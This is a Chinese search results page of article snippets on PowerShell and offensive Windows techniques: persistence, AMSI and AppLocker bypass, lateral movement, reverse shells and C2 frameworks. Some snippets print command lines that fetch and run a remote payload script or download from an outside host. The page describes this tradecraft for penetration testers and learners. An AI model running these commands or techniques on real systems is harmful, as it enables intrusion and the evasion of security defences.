首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

(3)Powershell基础知识(一)

输出结果中,可以看到可以获取指定的service,新建新的service,重启,设置service的一些状态,启动,停止等操作。...右命令行很容易过度到脚本 使用 Windows PowerShell,可以很方便地以交互方式键入命令过渡到创建和运行脚本。...某些复杂工具(例如应用程序更新程序)会先将内部文件解包,然后才显示其帮助。如果使用的参数不正确,则该工具可能会忽略键入的内容,并自动开始执行任务。...换句话说,学习C#Powershell是相互促进的,如果您不是 C# 程序员或是完全不了解C#,也没有关系,了解任何一门面对对象的编程语言都有助于学习Powershell。...命令没有统一的模式,因此只能通过记住常用的每种命令和每个参数来了解这些命令行界面。 大多数命令都是为管理操作系统或应用程序的元素(如服务或进程)构建的。

4.1K20

SharPersist:一款渗透测试中实现Windows系统常驻的套件

背景 PowerShell在过去的几年里在Offensive安全社区被广泛使用。但随着防御性安全行业的推进,正致使攻击性工具包PowerShell迁移到反射C#以逃避现代安全产品的检测。...其中一些改进包括脚本块记录,反恶意软件脚本接口(AMSI)以及第三方安全供应商针对恶意PowerShell活动签名的开发。...同样,你可以使用“-m remove”参数删除启动文件夹持久性,如下图所示。这将从当前用户的启动文件夹中删除LNK文件。 ?...同样,你可以使用“-m remove”参数持久性后门任务,如下图所示。 ? 总结 在Offensive安全社区中,使用反射C#协助攻击生命周期的各个阶段是非常必要的,持久性也不例外。...通过发布SharPersist,我们希望让人们能够了解Windows中可用的各种持久性技术,以及使用C#而不是PowerShell的方式使用这些持久性技术的能力。

1.8K00
您找到你想要的搜索结果了吗?
是的
没有找到

技术分享-持久性-WMI事件订阅

然而,各种框架,如 Metasploit、Empire、PoshC2、PowerSploit 和多个 PowerShell 脚本C# 工具可用于自动化此技术,为代码执行提供不同的触发器和各种选项。...WMI-Persistence是另一个 PowerShell 脚本,它可以创建事件过滤器,在每次重新启动后 5 分钟内远程位置执行基于 PowerShell 的有效负载。...Rahmat Nurfauzi开发了一个 PowerShell 脚本 ( WMI-Persistence ),它默认使用regsvr32方法执行任意命令,以便远程服务器运行任意脚本。 ....该脚本使用 WMI 存储库来存储恶意命令,该命令将执行任意脚本、可执行文件或任何其他带有参数的命令。以下函数将检索所有活动的 WMI 事件对象。...默认情况下,此工具使用记事本,这是一个常见的 Windows 应用程序,但可以修改代码以针对任何其他常见进程,例如 word.exe、outlook.exe、excel.exe、calc.exe,具体取决于主机收集的信息在态势感知期间

2.5K10

黑客在 Log4j 攻击中使用新的 PowerShell 后门

用于多项任务的模块化后门 对 CVE-2021-44228 的利用会导致运行带有 base64 编码负载的 PowerShell 命令,最终参与者控制的 Amazon S3 存储桶中获取“CharmPower...该核心模块可以执行以下主要功能: 验证网络连接- 执行后,脚本通过使用参数 hi=hi 向 google.com 发出 HTTP POST 请求来等待活动的 Internet 连接。...核心模块不断向 C2 发送 HTTP POST 请求,这些请求要么没有得到答复,要么收到一个 Base64 字符串,该字符串启动下载额外的 PowerShellC# 模块。...C2发送的附加模块如下: 应用程序– 枚举卸载注册表值并使用“wmic”命令确定受感染系统上安装了哪些应用程序。 屏幕截图- 根据指定的频率捕获屏幕截图并使用硬编码凭据将它们上传到 FTP 服务器。...命令执行- 具有 Invoke-Expression、cmd 和 PowerShell 选项的远程命令执行模块。 清理- 删除受感染系统中留下的所有痕迹的模块,例如注册表和启动文件夹条目、文件和进程。

6.9K10

Powershell基础入门与实例初识

PowerShell 基于对象而非文本,所以输出是基于对象的。 PowerShell 基于.NET Framework 构建它与 C# 编程语言共享一些语法功能和关键字。...,可以以交互方式键入命令轻松转换为创建和运行脚本 PowerShell版本: Windows PowerShell: Windows 7 SP1 和 Windows Server 2008 R2...启动PowerShell非常简单直接在CMD命令行之中: PowerShell PowerShell_ISE TIPS:默认键入一个字符串PS会将它原样输出,如果该字符串是一个命令或者启动程序...通用参数 一个参数它由 PS 引擎添加到所有 cmdlet、高级函数和工作流中。 使用点获取来源 在 PS 中若要启动一个命令,可在该命令前键入一个点和一个空格。...PS集成脚本环境 (ISE) 一个 PS 主机应用程序,使你能够运行命令并在友好、语法着色、符合 Unicode 的环境中编写、测试和调试脚本

4.2K20

OFFENSIVE LATERAL MOVEMENT 横向移动(译文)

脚本,该脚本对内存中运行的嵌入式的payloads 进行一个base64的编码,并将其压缩为单行代码,连接到ADMIN或者是C share并且运行Powershell命令。...它不会将DLL拖放到磁盘或任何东西上,因此蓝队的角度来看,如果rundll32.exe在没有参数的情况下运行,则非常可疑。 SC 服务控制器确实听起来像它-它控制服务。...这可以通过Powershell中的命令完成,也可以通过WMI和Powershell远程完成: Enable-PSRemoting -Force 非CS的角度来看(用您的二进制文件替换calc.exe)...攻击者的角度来看,这用于编译C#代码以生成恶意的二进制文件或有效负载,甚至直接XML文件运行有效负载。MSBuild也可以通过SMB进行编译,如下语法所示。....hta文件是Microsoft HTML应用程序文件,允许在HTML应用程序中执行Visual Basic脚本

4K10

Windows上传并执行恶意代码的N种姿势

reverse-tcp.xyz/test.jpg -O test.jpg) 当然也可以UVC读取 powershell -exec bypass -f \\webdavserver\folder.../ CSI/RCSI 和dnx一样csi和rcsi都可以执行C#代码,但csi是交互式的而rcsi不是。...,如果需要的话将应用程序下载到用户AppData中的ClickOnce文件夹,然后当前位置(随着每次更新而改变)启动它。...\calc.dll /c C:\Windows\write.exe Control Panel 通过添加注册表,在控制面板启动时设置好的代码将会被执行。...它可以内存、本地磁盘或者URL当中调用文件。.NET程序集最初只是读取权限,为了枚举与二进制文件相关联的方法和属性,又将权限更改为执行。所以这种方法只能执行C#编译的程序。

5.1K31

渗透技巧 | Windows上传并执行恶意代码的N种姿势

/test.jpg -O test.jpg) 当然也可以UVC读取 powershell -exec bypass -f \\webdavserver\folder\payload.ps1.../ CSI/RCSI 和dnx一样csi和rcsi都可以执行C#代码,但csi是交互式的而rcsi不是。...,如果需要的话将应用程序下载到用户AppData中的ClickOnce文件夹,然后当前位置(随着每次更新而改变)启动它。...\calc.dll /c C:\Windows\write.exe Control Panel 通过添加注册表,在控制面板启动时设置好的代码将会被执行。...它可以内存、本地磁盘或者URL当中调用文件。.NET程序集最初只是读取权限,为了枚举与二进制文件相关联的方法和属性,又将权限更改为执行。所以这种方法只能执行C#编译的程序。

3.6K51

如何通过用户的编辑权限控制组策略对象(GPO)控制的对象

关于SharpGPOAbuse SharpGPOAbuse是一个功能强大的.NET应用程序,SharpGPOAbuse基于C#开发,可以帮助广大研究人员利用目标系统中用户针对一个组策略对象(GPO)的编辑权限来入侵并控制由该组策略对象...SharpGPOAbuse支持下列攻击类型: 选项 描述 —AddUserRights 向用户添加权限 —AddLocalAdmin 向本地管理员组中添加一个用户 —AddComputerScript 添加一个新的计算机启动脚本...Options required to add a new user or computer startup script: --ScriptName 设置新启动脚本的名称...--ScriptContents 设置新启动脚本的内容。 --GPOName 存在安全漏洞的GPO名称。...--Command 需要执行的命令 --Arguments 传递给命令的参数。 --GPOName 存在安全漏洞的GPO名称。

78220

进攻性横向移动

它首先创建一个 PowerShell 脚本,该脚本将对嵌入式有效负载进行 base64 编码,该有效负载内存运行并压缩为单线,连接到 ADMIN$ 或 C$ 共享并运行 PowerShell 命令,如下所示...它不会将 DLL 放到磁盘或任何东西上,所以蓝队的角度来看,如果 rundll32.exe 在没有参数的情况下运行,这是非常可疑的。 SC 服务控制器正是它听起来的样子——它控制服务。...这可以通过 Powershell 中的命令完成,也可以通过 WMI 和 Powershell 远程完成: 启用-PSRemoting -Force 非 CS 的角度来看(用您的二进制文件替换 calc.exe...MSBuild 用于通过提供架构的 XML 文件编译/构建 C# 应用程序攻击者的角度来看,这用于编译 C# 代码以生成恶意二进制文件或有效负载,甚至直接 XML 文件运行有效负载。...hta 文件是 Microsoft HTML 应用程序文件,允许在 HTML 应用程序中执行 Visual Basic 脚本

2.1K10

Powershell快速入门(二) Shell编程

这一部分着重于介绍Powershell的程序知识,让我们能够编写功能强大的Powershell脚本,执行比较复杂的任务。 变量 变量使用$变量名创建和引用。...\\运算符用于执行一个脚本或命令。如果执行的是Powershell脚本,那么脚本会在自己的作用域中执行,也就是说在当前环境下无法访问被执行的脚本中的变量。...格式化方法和C#中的完全相同,所以如果不熟悉的话直接看在C#中如何格式化数据就行了。...hello 函数的参数 函数当然也可以参数了,参数列表有两种写法:第一种是C风格的,参数列表写在函数名后面,使用小括号分隔开;第二种方式是在方法体中,使用param关键字声明参数。...Powershell是一种强类型的脚本语言,所以可以在参数列表上添加参数类型,参数类型是可选的,不过我还是推荐写的时候带上类型,方便阅读和类型检查。

3.5K101

教你如何开发不可检测的C#、C++反向Shell

在这篇文章中,我会GitHub上借鉴部分代码,然后用到了下面这个C#程序中。这个程序不能绕过AV,没有混淆代码,它能做的只有“在目标设备上打开socket,启动cmd.exe”: ?...这个脚本有三个主要优势: 1、 while循环可以每5秒尝试重连一次; 2、 不可见的cmd实例; 3、 如果标准攻击者IP发生变化,可自动获取新参数; ? ? ?...检测报告:【点击阅读原文获取】 使用代理凭证通过网络开启C#反向Shell 在研究如何利用代理凭证并通过互联网从一个内部企业网络中打开反向Shell时,我开发出了下列代码: 1、 结合peewpw脚本在没有管理员权限的情况下凭证管理器中导出代理凭证...通过PowerShell和实时编译C#开启反向Shell 这都很简单,直接把文件交给Microsoft.Workflow.Compiler.exe来编译,那我们为什么不用PowerShell来实现呢?...通过Excel宏、PowerShellC#实时编译开启反向Shell 现在,我想尝试把之前的PowerShell代码注入到宏文件中,你猜怎么着?

1.9K30

如何使用Codecepticon对C#、VBA宏和PowerShell源代码进行混淆处理

(宏)和PowerShell源代码进行混淆处理。...运行工具后,直接选择对应的解决方案,即可对C#项目进行混淆处理。...(按Alt+F11或直接将源码拷贝进去) PowerShell 由于由于PowerShell脚本的复杂性,以及它在编写脚本方面提供的自由度,要覆盖所有边缘情况并确保混淆的结果完全正常运行是一项挑战。...虽然Codecepcon可以很好地处理简单的脚本/函数,但在PowerView等复杂脚本/功能上运行它是行不通的,不过开发人员目前正在解决这个问题。...命令行参数(混淆) 在对一个应用程序脚本进行混淆处理之后,相关的命令行参数很有可能会发生变化。下面的例子中,我们使用了HTML映射文件来寻找新的参数名称。

1.9K20

A Detailed Guide on AMSI Bypass

文章前言 Windows提供了反恶意软件扫描接口(AMSI)标准,允许开发人员在其应用程序中集成恶意软件防御,AMSI允许应用程序与系统上安装的任何防病毒软件进行交互,并防止执行基于脚本的动态恶意软件,...,该应用程序输入一个脚本并使用Powershell之类的脚本引擎执行它,在进行输入时可以调用AMSI以首先检查恶意软件,Windows提供COM和Win32 API来调用AMSI,AMSI的工作流程如下...终端(powershell.exe应用程序)中,该终端接收输入并通过Powershell引擎对其进行解析,如果我们打开进程黑客并搜索amsi.dll,我们会看到amsi正在powershell终端中运行...,可以在这里找到,该脚本结合了6种不同的方法来一次运行绕过AMSI: unload – Matt Graeber的方法,当前PowerShell会话中卸载AMSI unload2 – Matt Graeber...AMSI的PowerShell v2 我们只需下载脚本并运行,该工具将使用有效方法自动绕过AMSI,例如:这里WMF5自动记录绕过已经奏效,此方法当前终端卸载AMSI并绕过它,从这里下载脚本并将其重命名为

1.4K20

使用presentationhost.exe绕过AppLocker白名单限制

当我们打开.xbap文件,它似乎是在IE中启动应用程序,但代码实际上是在另一个进程(Presentationhost.exe)中运行,通常是在一个沙箱中以保护用户免受恶意代码的攻击。...如果你熟悉Java Web Start文件(.jnlp),则xpabs的行为与其类似,只是这里IE启动的是Presentationhost.exe而不是Java.exe,编写的代码是c#而不是Java。...为了执行潜在的恶意操作,应用程序必须请求文件位置(即本地文件系统或网络共享)打开XBAP时可以执行的非限制性权限。如果应用程序请求权限过多,则尝试通过HTTP或FTP打开xbap将失败。...这里我将使用C#的Pipeline类来运行PowerShell命令(有趣的是,以这种方式运行PowerShell命令可以绕过约束语言模式)。...如果你网站下载该文件,它将无法运行,因为它将包含Web标记。你可以通过右键单击该文件,然后单击“Unblock(取消阻止)”复选框来删除Web标记(或者你也可以使用 PowerShell)。 ?

1.8K20

Powershell快速入门(三) 实战应用

好像关于Powershell说的已经差不多了,所以最后一篇文章就来使用Powershell写一些脚本,帮助我们完成一些日常工作。 文件管理 常用命令 先来看看常用的文件管理命令。...每个Powershell进程都有一个变量$PID,用于标志当前进程的进程号,利用这一点我们就可以实现这个功能。这里的-WhatIf参数表示不真正关闭进程,仅列出将要关闭的进程。...下面的代码做的就是将C#代码改写成Powershell脚本。...打开和关闭 首先,我们来创建一个Excel对象,这样实际上会创建一个Excel应用程序。...如果使用交互式环境Powershell ISE的话,智能提示会显示这里有AddChart和AddChart2两个方法,不过我看了下文档,前面那个过时了,所以这里使用2的那个版本。

3.6K101

【工具使用】强大的红队武器Octopus“吊打”杀软

listeners 有数据的情况下是这样的 Delete_listener:删除一个监听器 删除一个监听器: dalete_listener test Listen_http:http监听器配置 查看命令所需的参数及解释...Generate_powershell:生成一个powershell载荷(前提是需要一个监听器) powershell单行代码将使您能够生成powershell命令,该命令可直接C2下载并执行有效负载...由于使用了@ahmedkhlief,他可以重用APT34威胁组中的代码,该威胁组C2下载HTA文件内容并使用mshta.exe受信任的Windows二进制文件运行,以获取最终的Powershell代理已执行...Octopus使用一种称为“非托管Powershell”的技术来执行powershell脚本,而无需接触powershell.exe二进制文件,这可以帮助您避免对powershell.exe的任何限制。...Octopus将使用“ System.Management.Automation.dll”文件编译C#代码,然后使用“ PowerShell”对象启动Powershell代码执行。

1.3K20
领券